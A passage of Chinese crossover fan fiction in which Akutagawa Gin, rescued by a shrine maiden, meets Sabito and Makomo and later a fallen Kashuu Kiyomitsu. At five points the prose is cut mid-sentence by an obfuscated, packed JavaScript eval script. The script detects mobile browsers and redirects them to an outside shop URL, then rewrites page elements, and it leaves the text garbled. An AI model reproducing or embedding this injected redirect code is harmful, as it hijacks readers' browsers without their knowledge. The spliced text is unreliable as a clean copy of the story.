芥川龙之介……她的哥哥，是她在这个世界上唯一的亲人…… 在无数的日夜中，他们可以抱团取暖，即使少得可怜的吃食也因此分成了两份，即使他们只能在无人的深夜里去垃圾桶那边寻找吃食，而且大概率无功而返…… 但是……她并不孤单…… 直到……她的哥哥死去了……她与这世界的最后一根线也彻底断裂了…… 横滨这座城市啊，到处都充斥着死亡与暴力，而他们这些处于社会最底层的人呢？自然是战争中最为微不足道的牺牲品了。 每天都会有无数人在芥川银面前死去。 芥川银对这些死者并未抱有什么同情，感情本来就是一种相当昂贵的东西，更何况是在这样一个充满混乱的地方，同情心只会成为她死亡道路上的催命符。 芥川银只要有哥哥就好了。 就像她也同样清醒地知道，这块土地并没有任何出头之日，她和哥哥早晚都会死在这里，死在血肉横飞的战争之下。 只是她并没有想到，那一天会来得那样快…… 所谓弱者，似乎连存在这件事本身就是错误的…… 她亲眼看着自己赖以生存的地方被炮火轰成一片废墟；看着自己的同伴深受重伤，濒临死亡；看着自己的哥哥……被飞来的流弹击中了手臂，殷红的鲜血泅了一地…… 那时候，一股熊熊烈火在她的胸膛燃烧…… 凭什么呢？凭什么他们要遭受那样的苦难？ 芥川银并不知道那样的愤怒从何而来，但她知道，她想要活下去，和哥哥一起活下去…… 她与哥哥拼命地从战火中逃了下来，一直逃到他们以为的安全地带，她的哥哥腿脚虚浮地倒了下来。 直到这时，芥川银才发现她的哥哥背后都是血…… 哥哥的外套已经破了，“罗生门”自然使不出来，那么一直在背后保护她的……是哥哥的血肉…… 芥川银的眼泪忍不住倾泻而下…… “银，别哭，……”，即使哥哥的面容苍白得像雪，却依旧没有忘记安慰自己。 “哥哥，你坚持一下，我这就带你去找医生。” “没用的，银，”哥哥抿了抿他的嘴唇，“那些人不会管我们的死活。” 芥川银当然知道这一点，横滨这样的地方啊，注定不会有“多管闲事”的人类，但她依旧坚持着，只要有人能救救她的哥哥，无论她付出什么样的代价也愿意。 哥哥看出了她的决绝，他并有阻止芥川银，并微笑着告诉她：“我会在这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533061|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等你的，银。” 注视着她担忧的目光，哥哥又一次安慰道：“我一定会活着等你回来的……” 芥川银狠狠点了两下头，然后拼命朝着街道的方向奔去，因而并未注意到在她身后，哥哥望向她的，如同朝露一般转瞬即逝的决绝目光。 然而，奇迹从不存在…… 无论芥川银跑了多少条街道，找了多少诊所，多少医生，她都被拒之门外…… 没有人会在意贫民窟里的人。 他们这样的人在那些人眼里是完全没有价值的存在。 即使芥川银想尽了一切办法，用尽了一切承诺，拼命地恳求他们，也没能够挽回任何人的想法。 夜已经深了，芥川银依旧在月光下奔跑，她握着手中好不容易抢来的药剂，却再也找不到那片安全地带。 所谓的安全地带，已经变成了一片废墟。 哥哥是不是也被埋藏在这里呢？ 芥川银不敢想…… 她只能在这里拼命地寻找着哥哥的踪迹。 即使她的胸膛因为奔跑隐隐作痛，她也丝毫不敢停止。 哥哥一定就在这里的某个地方等她，因为哥哥……答应过她的…… 不过，她好像快要死掉了…… 不然她为什么会出现那样的幻觉？ 芥川银揉了揉眼睛，是哥哥来接她了吗？ 不，并不是…… 天空中飘着各种各样的诡异生物，正睁着腥红的眼睛向着自己涌来…… 芥川银与一只长着人脸的蜘蛛打了个照面，她目光惊恐地看着那蜘蛛伸出了舌头…… 就这么结束了吗？芥川银忍不住闭上了双眼。 其实这样也好……这样，万一哥哥他……也不会等待自己太久。 “哥哥……”，在生命即将结束的一刻，芥川银回忆起来短短十年来的走马灯，却发现，她好像没有什么能够留念的。 她在世上仅有的一丝温暖是来自于哥哥…… 而她与哥哥很快就会在地狱里重逢…… “咻——”是弓箭破空的声音，芥川银诧异地睁开双眼，只见皎白的月光之下，巫女小姐迎着月光挡在自己的面前。 那么后来呢？ 后来…… 在生命即将终结的那一刻，她见到了神明。 神明赐予她新生。 11. 神社没有狐狸神使 春日里的阳光温和却不刺眼，透过玻璃窗暖融融地照进房间里面。 “锖兔，那个孩子真的没问题吗？她的表情好像很痛苦，我们要不要叫醒她？”真菰坐在窗檐上，面露担忧地看着床榻上的少女，对旁边的少年问道。 “嘘，小声点，”锖兔摇了摇头，声音小心翼翼的，生怕会惊醒女孩的梦，“应该没关系的，大概是第一次来到彼岸，身体还无法适应这里的情况。” “就像上次的……”想起了那个浑身缠着绷带的少年，锖兔忍不住皱了皱眉，思索了片刻也没想到合适的形容词，“不也是这样的。” “嗯，”真菰也回忆起了那个骚操作频出的少年，她沉默了一会儿，决定跳过这个话题。 还好月见小姐把他送走了，若是他真的呆在神社，以他那糟糕的性格…… 真菰摇了摇头，想要晃掉脑子里的想法。 不敢想，按照那人的性格也只会给月见小姐添麻烦…… 她快速地将太宰治的形象从脑海里面删除，而后，又将担忧的视线投向面前的少女。 那是一个眉目清雅的少女，与初见时又脏又乱的面貌不同，现在的她已经清理干净，浑身都散发着一种恬静温柔的气息，就像是山谷里的水波，幽静而又空灵。 而现在，少女缩着身子躺在床上沉沉地睡着，那并不是一个很具有安全感的姿势，脸颊苍白，眉头紧蹙，就像是做了噩梦一样，眉眼间全部都透露出了一种病态的脆弱。 这就是真菰为什么会这么担忧她的原因。 “哥哥……”，床榻上的少女猛然惊醒过来。 她立刻坐了起来，大口大口地喘着粗气，瘦弱的手紧紧地绞尽住了自己胸口的衣服，力气之大像是要将它撕碎。 芥川银显然还未从梦魇中走出来，只觉得自己的胸口发闷像是被什么东西堵塞着，无法宣之于口，眉眼间萦绕着挥之不去的郁气…… “哥哥……”，直到看见眼前的场景并非那个熟悉的贫民窟，芥川银才有些恍然，她无措地抿了抿唇，这才正视了现实：哥哥……已经不在了……是月见小姐收留了她…… 月见小姐说得不错，哥哥他……一定希望自己能好好活着…… 芥川银收敛了眉间的郁色，开始打量周围的环境：是月见小姐带她过来的吗？这就是月见小姐生活的地方吗？ 打量着打量着，芥川银就看到了坐在窗檐上的那两个头上戴着狐狸面具的少年少女。 “狐狸……”，芥川银被对方奇怪的装束和那两张面具吓了一跳，倒不是她大惊小怪，只是“狐狸”与“神社”，当这两个词语在一个地方出现的时候，总会引起无限遐想。 她想起了曾经在贫民窟的时候，也有信仰虔诚的老者向他们讲述过不少民间传说。 传说中狐狸是稻荷神的使者，而这里又是月见小姐的神社，所以，神社里面出现那么一两只会变成人的狐狸，应该……也算不得什么恐怖的事情……对吧？ 芥川银尝试着对自己做心里建设，毕竟已经见识过那些非人的妖魔，她的世界观已经被颠覆了，比起那些诡异，狐狸成精这件事也不是这么不容易接受。 最重要的是，这里是月见小姐的神社！ 嗯，“月见小姐的”，划重点，月见小姐神社里的，就算是妖怪，应该也是好的妖怪，心底已经对月见千里产生了奇怪滤镜的芥川银这样想到。 因此，她虽然心中仍旧有些发怵，却还是鼓起勇气向两位“成精的狐狸”问候道：“你……你们好，两位神使大人，我……我是月见小姐带回来的人，需要我做什么吗？“ 锖兔愣了一下，随即立马反应过来少女是误会了，微笑着解释道：“我们并不是神使，我是锖兔，她是真菰，我们都是人……曾经都是人类，头上戴着的只是面具而已。” “人类”两字在唇间辗转，锖兔这才意识到现在的自己和真菰早已经并非人类了，眉目稍许黯淡下来。 芥川银愣了一下，见那两人都很温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533062|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柔的样子，不由得放下了心：毕竟这里是月见小姐的神社，她不想刚来就给月见小姐添麻烦。 至于“曾经是”那几个字和少年少女眉眼间的黯淡，芥川银下意识地忽略了，就算锖兔和真菰并非人类也没关系，他们看起来都是很好的人，这就够了。 “我是芥川银。”少女抿着唇笑了一下，小心翼翼中又带着温柔。 真菰眼睛一亮，毕竟光凭睡着的样子是无法辨别对方的性格的，譬如前两天那位“太宰治”，明明不说话的时候相当乖巧脆弱，结果性格却……一言难尽…… 锖兔和真菰并不是对太宰治有什么意见，只是…… 只是这个世界太过讽刺，有人在拼命地求生，却求生无门；有人一心求死，却求死不易。 他们是拼尽全力都想要活下来，想要让自己，让队友，让那些死去的人类活下来的人……这就注定他们与太宰治无法产生共鸣。 至于芥川银……试问性格和外表如出一辙的，温柔可爱的女孩子谁能不喜欢呢，真菰对她的印象分瞬间拔高了许多。 “银，可以叫你银吗？”真菰问道。 “当然可以。”芥川银乖巧地点头。 “月见小姐在练习神乐舞，她说若是你醒来的话，可以在神社里面随意走动，不过神社外面不行。”真菰将月见千里的话转述了出来。 因为害怕芥川银误会，锖兔连忙解释：“我们这里与现世不同，若是随意在外面行走的话很可能会迷失方向。” “我知道了，谢谢你们。” 少女眸光中的感激不似作假，锖兔和真菰见对方并没有因为不能出神社而感到不满，这才放下心来。 “没关系，若是有什么需要帮忙的，可以随时找我和锖兔。” …… 温柔的灵魂总会相互吸引，就像是芥川银和锖兔真菰，即使他们处在不同的时空，经历遭遇也各不相同，即使他们并不知道对方的过去与秘密，他们的温柔也足以包容一切。 12. 不必信仰神明 月见千里的神社虽然十分庞大，却与普通的神社并无什么区别。 芥川银走出社务所，将那些稍许熟悉却又叫不出名字的建筑物尽收眼底。 清晨的神社沐浴在晨曦的阳光之中，红色的鳞片状屋顶煜煜生辉，反射出耀眼的光芒，参道两旁尽是高大古朴的树木，姿态威严的四只狛犬雕像矗立其中，像是神社的守护者，庄重而又威严。 整座神社在阳光的映衬下当真像是神灵降临人间的殿堂。 芥川银曾经也是去过神社的，当然并不是作为参拜者，而是…… “新年祭”是横滨少有的祭点，作为一年中极为重要的时刻，“新年”这个词即使是相当混乱的横滨也无法将它剔除。在1月1日这天，人们都会造访神社进行参拜，与过往道别，为来年祈福，有“辞旧迎新”之意。 在那一天，芥川银和哥哥通常会混迹在这些人群之间，看着前来拜谒的人来往匆匆，脸上堆满了笑意。通常只有在那时候，这些人才不会吝啬自己的善意，心怀怜悯地给予他们一些吃食和可供取暖的衣物。 若是每一天都是新年就好了……年幼的芥川银并不知晓新年的意义，毕竟它与过往的每一天都没什么不同，但只有在那一天，她和哥哥才能吃得饱饱的，不再为食物烦忧。 收下心中泛着苦涩的思绪，芥川银模仿着记忆中那些人的样子对神社进行参拜。 参拜神社前要净手漱口，芥川银走到旁边的“手水舍”，用右手拿起木杓，舀起水倒在手上清洁双手，她的动作颇为生疏，显然是从未做过这样的事情，在清洁的时候差点不慎将木杓打翻，摔在了地上。 洗完身之后，便是在拜殿正式地参拜了，首先要摇动旁边的铃铛唤醒神明，然后…… 然后……该怎么做来着…… 芥川银想不起来了，无措地站在原地，脸上一片苦恼。 “是想要祭拜神明吗？”就在这时，她的身后传来了巫女小姐略带清冷的声音。 芥川银立刻向着身后看去。 神社的回廊上挂着各式各样的风铃，在微风的吹拂下发出清脆的声响。 巫女小姐站在回廊下款款向着自己走来，她身穿着松鹤纹的千早，手中拿着神乐铃，漫步之间，风铃声动，神乐铃的五彩色带子随着风飘扬，巫女小姐的一举一动就像是天气之子，能拨散阴霾，让微风拂过，将阳光唤进来。 芥川银看着巫女小姐的动作，一时看得呆住了。 “在想什么呢？”等再回神时，巫女小姐已经走到了她的面前。 “不，没什么？”芥川银立刻呆愣愣地摇头。 这样呆傻的动作倒是让月见千里看笑了，她摇了摇头，神色中带着无奈：“没人告诉你，在拜谒神明的时候需要专心吗？” “而且，参拜神明并不是这样拜的。”月见千里正准备示范一遍，结果看到她的手中还拿着神乐铃。 月见千里：“……” “稍等一下，”月见千里拿着神乐铃走了出去，等再进来的时候已经脱下了千早，换上了平常的装束。 她走到芥川银的旁边，摇起旁边的铃铛，先是鞠躬了两次表示对神明的敬意，而后站直身子抬手挺胸合掌，连续拍了两次手，接着将两首合拢，向着神明祈求，最后再一次对着神明深深鞠躬。 是标准的“二拜——二拍——一拜”法。 芥川银认真地对照着巫女小姐的样子学习着，然后就听见了巫女小姐带着笑意的声音：“接下来到你了，要不要试试？” 芥川银立刻点了点头，然后照着巫女小姐方才的模样参拜。 在参拜完成之后，月见千里又走到了芥川银的旁边。“学得很好，但是有一点需要注意。” “在拍手的时候，右手要比左手低一些。 “是这样吗？”芥川银合掌问道。 “嗯，不错。”巫女小姐点了点头，脸上露出了些许笑容：“就是这样。” 芥川银脸颊上微微泛红。 直到这时，她才发现巫女小姐离自己好近……近得……芥川银可以清晰地闻到巫女小姐身上沾染着的点点熏香的味道…… 这熏香气息十分淡雅，若有若无地在芥川银的鼻尖萦绕，等她仔细嗅闻时却又没了踪迹……就像是巫女小姐给芥川银的感觉一样…… 像是铺面而来的微风，轻轻地在耳畔掠过，却又不留下一丝踪迹…… 风是抓不住的……但是……巫女小姐现在却在自己的旁边…… 芥川银忍不住捂了捂自己发烫的脸颊，“是，月见小姐，我记住了，我会努力练习的。” 只是听到这话的月见千里似乎并不是很开心。 芥川银敏锐地感知到了月见千里的变化…… 明明还是一样的表情，不知道为什么，她感觉月见小姐的心情好像有些沉重…… “……” “银，你信仰神明吗？”月见千里这样问道，神情悠远，目看远方。 芥川银沉默了，她犹豫地摇了摇头…… 神明……她自是不信的。 信仰这种东西，无非是在保 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533063|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全自身的条件才会产生的消遣之物，而曾经在贫民窟的她，连“活着”都算是一种奢侈，又怎么会拥有信仰呢？ 她从未信仰过神明的存在！ 就算是神明真的存在，想必他们这些贫民窟的人也已经是被神明抛弃的东西了。 贫民窟的人并非都像是芥川银这般，就像之前她所说的，曾经有一位信仰虔诚的老人和芥川银讲过神明的传说…… 那位老人深深地信仰着他的神明，相信着苦难不过是神明赐予他的磨练，相信神明终会出现，消减苦难给予他们赐福，但是…… 芥川银始终记得…… 当炮火到来的那一刻，那位老人被避无可避的硝烟击中，整个身躯都炸了开了，鲜红的血液四溅，还是灼热的，尽情灼烧着芥川银的脸颊…… 他所信仰的神明……最终并没有救他！ 所以，芥川银无论是从前还是现在，都没有信仰过神明。 芥川银犹豫地看着月见千里，月见小姐应该是一位深深信仰着神明的人吧？她会对自己的回答失望吗？ 其实，若是因为月见小姐的话，她也不是不可以尝试着…… 因为在她的心中，月见小姐才是那个救赎她的神明…… “可如果是……”芥川银思考了许久，正准备将后面的想法说出来，却被月见千里打断了。 “那就好，”月见千里淡淡地笑了，像是春日里初融的雪。 她肯定了芥川银的想法，“你不必信仰神明，也不需要因为任何人而信仰神明。” 芥川银微怔，似乎不理解月见千里的意思：“为什么呢？”……明明月见小姐应该是信仰神明的吧…… “没有为什么，”月见千里摇了摇头，金色的眼眸虚幻得不可思议，就像是镜中的花，水中的月，朦朦胧胧不可见：“只有思想是自由的，若是因为任何人改变想法，这样的行为很愚蠢。” 而且…… 月见千里没说的是…… 信仰神明很痛苦，尤其是当自己信仰的神明并不存在的时候…… 这块土地孕育着八百万的神明，但万事万物都有消散的一天，神明也不例外，总会有神明悄无声息地在不知不觉中逝去…… 所以，她宁愿没有任何人信仰神明，这样就不会因为神明的逝去而感到悲哀。 她也宁愿自己从未信仰过神明…… 但是，像是这样简单的愿望，别人都可以，却只有她不行…… 因为她…… 曾真真切切地得到过神明的赐福。 13. 他们看到了一种新的可能 芥川银发现最近真菰和锖兔似乎有些不对劲。 比如，他们最近常常跑到御神木那边，一呆就是大半天；比如，他们有时会呆在她和月见小姐旁边，也不说话，只是默默观察着；再比如，闲暇时候他们总会凝望远方，神情恍惚，无论是说话还是做事，都显得心不在焉。 芥川银本来没有怎么在意，但这股不对劲随着时间的推移越来越重了。 直到…… “真菰，锖兔……” 少年正坐在窗檐上凝望着远方发呆，那双银色的眸子里面满是空洞，像是在思考着什么，又似乎什么都没有想，他的嘴角微微下垂，心情并不怎么明朗。 骤然被芥川银发出的声音打乱了思绪，锖兔先是愣了一下，然后缓慢地抬起头来，见到眼前的人是芥川银之后神情有一瞬间的茫然，不过很快就掩饰下去了：“有什么事吗，银？” 芥川银微微怔愣，说实话，她也不知道自己为什么会突然喊着他们，只是看着他们沉思的样子，芥川银突然感到了一股无来由的悲伤，她并不知道这股忧伤从何而来，但她下意识的想要说些什么。 直到将他们的名字喊出口，芥川银才有些无措：“不，没什么。” 看着锖兔和真菰又恢复成了刚才一言不发的样子，芥川银迟疑地开口：“你们是有什么心事吗？看你们最近好像很不对劲的样子。” 她鼓起勇气问道，说实话，虽然她和锖兔真菰虽然在同一个屋檐下生活着，性格什么的也合得来，但她对这两个人的过往是一点也不了解的。锖兔和真菰他们不说，芥川银也不会问，他们之间就这样诡异地保持着一种默契。 这还是芥川银第一次对他们的过去产生好奇，大抵……是他们眸中的思虑太过繁重了吧。 锖兔眨了眨眼，随后露出了一个温柔的笑容：“很明显吗？” 芥川银：……岂止是明显，这两个人快把“我有问题”这四个大字刻在脑门儿上了…… “……”，见到芥川银的沉默，锖兔和真菰明白了她的未竟之言，下意识地忽略了这个问题。 空气中有一瞬间的静默。 “银，”真菰关切地问道，“最近在神社呆得怎么样？想不想去现世看看？” 芥川银下意识地摇了摇头，随后又注意到她的回答像是引起了歧义，慌忙解释道：“这里的日子很好，我一点儿也不想出去。”比起贫民窟，这样的时光的确好多了，她永远也不需要因为如何活下去而感到担忧，况且，锖兔和真菰人很好，这里还有月见小姐…… “那我们就放心了，”真菰喃喃道。 “什么放心了？”芥川银倔强地昂起头来问道，颇有那时在贫民窟的样子。 锖兔和真菰对视了一眼，而后两人微微颔首，像是做下了什么决定，有一种无声的默契在他们之间流淌。 “见到你能在这里生活得很好，我们就放心了，这样就算是我们不在……” “不在？”芥川银敏锐地抓住了重点。 “是啊，”锖兔点了点头，表情一如既往的温柔，“我们马上就要离开了。因为……还有必须要做的事情……” “月见小姐其实是一个相当孤独的人啊，若是有你在这里，我们也能放心一些……” 锖兔和真菰絮絮叨叨地说了很多，这似乎还是第一次他们说这么多的话，却是…… 芥川银注视着他们的双眼，没有吭声。 她并没有任何挽留的意思，她知道他们的想法有多决绝，就像当时她明明知道哥哥已经不在了，也拼命地想要找到他一样，这样的想法是任何人也无法改变的。 …… 月见千里刚刚回来就看到芥川银夺门而出，慌不择路地跑到镇守之森里的模样。 她注视着对方惊慌的背影，摇了摇头，随后又看着坐在窗檐上的锖兔和真菰：“已经决定了？” 真菰沉默着低下了头，锖兔还注视着月见千里，只是脸上的笑容有些勉强：“还是什么都瞒不过月见小姐。” 月见千里：“……” 她深呼吸了一口气，问道：“你们可知道，出了这座神社，你们会变成什么？” 锖兔：“当然……”他们会和那些游离在彼岸与现实的游魂一样， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533064|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 随着时间的推移逐渐堕落为妖魔。 “那你们还一定要回去？”月见千里的眸中带着不解，她能理解他们的想法，却怎么也无法理解他们这种义无反顾的感情。 锖兔垂眸不语，过了一会，他又抬起头，眼中满是坚定：“因为我们从那孩子身上看到了另一种可能。” 锖兔说的是炭治郎。 透过御神木，他们偶尔会看到一些与他们相关的影像，有时是过去，有时是现在……至于未来……未来是不可窥见的…… 最近他们看见师傅的旁边出现了一个坚韧的孩子，虽然凭借那孩子的力量至今无法劈开大石，但是……或许那孩子能够终结一切也说不定…… 无来由的，他们这样想到…… 他们下意识地想要做些什么，即使这样会让他们失去自己的存在…… 他们固然想要活着，但若是他们的消失能换来更多人的存活，换来鬼杀队的胜利，他们也算是死得其所了。 “我明白了。”月见千里淡金色的眸子里依旧平淡，她并不在意他们的去留：“若是想要离去，便离开吧，无需与我道别。” “是。”锖兔点了点头，既然话已经说开了，他们自然不会停留多久，能快一点见到那孩子，也就能多一分希望。 他和真菰从窗台上跳了下来，就准备这样离开。 “等一等，”月见千里的话语打断了他们向外迈出的步伐。 她思考了一会儿，最终还是从自己的身上掏出来两份御守，递给了他们，对上锖兔和真菰不解的目光，她解释道：“这个御守上有神社的神力加持，能够让你们在现世呆得更久一些，至于到底能停留多久，我也无法确定。” 锖兔和真菰是知道这两个御守对他们会有多大的帮助的，他们深深地鞠了一躬，“这么长时间以来，多谢您的照顾了。” “没什么。”月见千里摇了摇头，“我什么都没做。” “只是希望若是有下次见面，你们还能保持自己的理智。” 否则……月见千里的右手微微颤动…… 她会亲自送给他们解脱。 14. 被无视的暗堕刀剑 天空中灰蒙蒙的，尚未有一丝微光，静谧的树林之中已有鸟雀惊醒，它们扑棱着翅膀，发出了清脆的鸣叫声。 而在这片森林之中，一个少年用手紧紧握着刀柄，眸子警惕地观察着四周，但凡有任何动静都能让他为之侧目。 许久都没有侦察到任何不对劲的少年松了一口气，他将刀剑收入鞘中，向着水源处走去。 山间的清泉干净清冽，少年用手捧了一捧水饮下，水的温度尚有些寒凉，但少年却觉得很满足。 这已经是他近些时日里来，唯一算得上是清静的时候了。 透过清澈见底的水流，少年看见了自己倒映在水中的样子，忍不住发出一声苦笑。 他的身上好脏。 浑身都沾满了泥土与血迹。 衣服也是破破烂烂的，有不少被碎石划破的痕迹。 这样狼狈流浪的模样……还是他加州清光吗？ 众所周知，加州清光是把相当注意自己美貌的刀剑，在本丸里，他会精心整理衣着，会认真保养指甲，也最爱给自己的指甲染上热烈的大红色指甲油，力求在审神者面前表现自己最美好的一切。 但是现在的他…… 想必等他回到本丸之后，那些朝夕相处的同伴也无法认出他来吧。 不过，回去…… 若是真的能回去的话…… 想到这里，加州清光的眸中满是苦涩，还有……愤恨…… 这振加州清光与其他本丸的加州清光有很大的不同。 他是暗堕本丸的刀剑。 作为叛逃出时之政府的刀剑，他们现在正在遭受执法者的追杀。 本以为掌握了本丸的时空转换装置便足以让他们在时空缝隙中穿梭，但无论他们本丸逃窜到哪里，都会遇到像是疯狗一样的执法者，如影随形，从不例外。 再后来，在大大小小的战争中，他们终于抓到了一个执法者，这才得知了为什么时之政府总能够准确地找到他们的位置。 时空转换装置……也是因为它…… 在时空转换装置中有时之政府的定位芯片，但凡有它存在，任何人只要使用时空转换装置，时之政府就能定位它的坐标。 想来也是，面对能够脱离自己控制的东西，时之政府怎么可能就这样轻易地将它交给别人？ 他们就像是被囚禁在笼子里面的鸟儿一样，即使是拼命反抗了，也无法得到自由，只能惶惶然接受自己的命运。 加州清光彷惶过，沮丧过，怨恨过，也曾放下了自己的斗志，就这样接受了身为“笼中鸟”的命运。 但是，他们是刀剑，是由钢铁冶炼，烈火锻造而成的刀剑。 战斗是他们与生俱来的能力。 刀剑宁折而不弯。 让他们就这样投降，向着那群人类摇尾乞怜，卑躬屈膝是万万不可能的。 所以，即使面对这样必败的局面，他们也未曾放弃，只能继续利用时间转换装置不断地在时空裂缝之间穿梭，利用信息差换取苟延残喘的机会。 可即使只是喘息的时间……也少得可怜…… 眼见自己的同伴日复一日的疲惫虚弱，加州清光利用自己身为“近侍”的权柄做出了一个决定。 说来讽刺，“近侍”的权柄…… 在审神者活着的时候，加州清光从没有一刻不厌恶他的“近侍”身份，等审神者死后，他却又无比庆幸那人的决定。 虽然说加州清光被任命为“近侍”，大概率是因为他是初始刀，审神者懒得换人了。 得益于“近侍”的身份，加州清光可以操控本丸的时空转换装置，也只有加州清光可以。 这就给了他下手的机会。 在某一天的夜晚，众人疲惫休息之际，加州清光放倒了看守的同伴，利用时空转换装置悄咪咪地将本丸换了一个地方…… 再然后，他盗取时空转换装置，趁着夜色离开了那座本丸…… 为了不让时之政府定位到本丸的坐标，他一个人带着时空转换装置，接连地在时空缝隙之间跃迁，一面躲避执法者的追杀，一面扰乱时之政府的判断。 用他自己的生命换取整个本丸的存活，听起来是相当划算的买卖，不是吗？ 加州清光不明白自己什么时候有那样自我牺牲，无私奉献的情感了…… 他现在可是把暗堕刀剑来着…… 所以说他这样做…… 只是希望，能给时之政府添麻烦的刀剑越多越好…… 只是希望，看到时之政府的算计付之东流，然后能够尽情地嘲讽执法者那群傻叉…… 嗯，一定是这样！ 暗堕的加州清光点了点头，他可是以自我为中心的刀剑，所做的一切也应当为自我服务，才不是因为那些多余的情感！ …… 正当加州清光为自己的行为疯狂找补的时候，他突然感受到了林中枯叶被簌簌踩住的声响。 加州清光骤然起身。 来的到底是什么呢？ 走兽？妖魔？还是……人类？ 是人类……还是灵力强大的人类，光是在附近加州清光就能感受到那些溢散出来的充盈灵力。 是执法者吗？ 加州清光将手按在腰间，他的眸光骤然锋利起来，暗红的如同鲜血一般的瞳孔里，涌动的是浓稠的恶意。 无论是不是执法者，他都要…… 加州清光此时并没有失去理智，正相反，他头脑清醒得很，这里是时空的缝隙，普通人类是绝对无法在这里长时间生存的，那么这人的身份已经不言而喻了…… 至少一定与时之政府相关。 加州清光毫不犹豫地抽出了刀剑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13533065|142434||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 无论是谁，斩杀即可。 清晨的天气还有些寒凉，森林里面弥漫着些许雾气，白衣绯袴的巫女小姐身姿隐隐绰绰，她有双晶莹剔透的浅金色眸子，在雾气的衬托下，眼神温柔而迷蒙。 不得不说，巫女小姐的外貌相当具有迷惑性。 加州清光愣了0.01秒，巫女似乎也是拥有灵力的人类来着，他有些不确定地想到。 巫女一直是日本神社之中的神职之一，在古时候那些神权信仰浓重的时候，她们甚至被称为“神子”，据称能代行神的旨意，传达神的意志。 只是在现代，由于神权的衰弱，有灵力的人类少之又少，巫女也大多变成了普通人。 虽然看起来对方很无害，但加州清光并没有因此而放松警惕。 人类是相当卑劣的存在…… 只要是人类……加州清光神情冷淡锋利，眸子里流露的全是对人类的厌恶，抗拒，以及……有如实质的杀意。 紧紧跟在月见千里身后的芥川银愣了一下…… 身为贫民窟的人，她敏锐地感受到了对方的恶意，芥川银警惕地看了立在左前方的少年一眼…… “哥哥……”芥川银一愣，她又想到哥哥了，那个少年眼中流露的是和哥哥一样的眼神。 凶狠而又凌厉，像是兽类，随时准备扼住人类的咽喉。 对外人而言是非常恐怖的眼神，但是对芥川银…… 若是没有那样的眼神，是无法在那个群狼环伺的贫民窟生活下来的…… “你……”芥川银正准备说些什么，却又顿住了，因为对方警惕的对象是月见小姐。 原本温润的眸子变得坚定起来，芥川银暗暗下定决心，若是对方想要对月见小姐做什么的话，就像他再像哥哥，她也绝对不会心软。 “走吧，银。”月见千里像是对加州清光整个人都视而不见，径直地从他的右前方走过，连脚步都没有任何停顿。 加州清光：…… 大脑的思绪突然一滞…… 他好像是被无视了……没来由的，他有些恼怒。 但是，他不知道现在该怎么办，是杀了对方，还是…… 加州清光想到了刚刚他看到的那双澄澈的眸子，而后，还在思考的他猝不及防和巫女小姐来了个对视。 又是那双眸子，晶莹剔透得不含任何杂质。 加州清光:…… 原来是芥川银在问月见千里：“那个少年……没关系吗？” 月见千里这才转过身，瞥了加州清光一眼，她眸光冷淡，眼神清冽如雪，像是在看一粒尘埃，轻飘飘的：“无事，不必管他。” 而后，月见千里继续转身，直到身影消失在加州清光的视线中，她都没有任何回头。 加州清光：…… 好气哦，他是真的被无视了！ 15. 暗堕的加州清光 加州清光很生气。 他一怒之下，怒了一下，结果就是……什么都没有发生。 他并不打算做什么。 加州清光：…… 当他是笨蛋吗？按照他现在的处境，越不引起别人的注意反倒来说越好，他才不会傻到去对方面前寻找存在感。 但是……想想还是好气！ 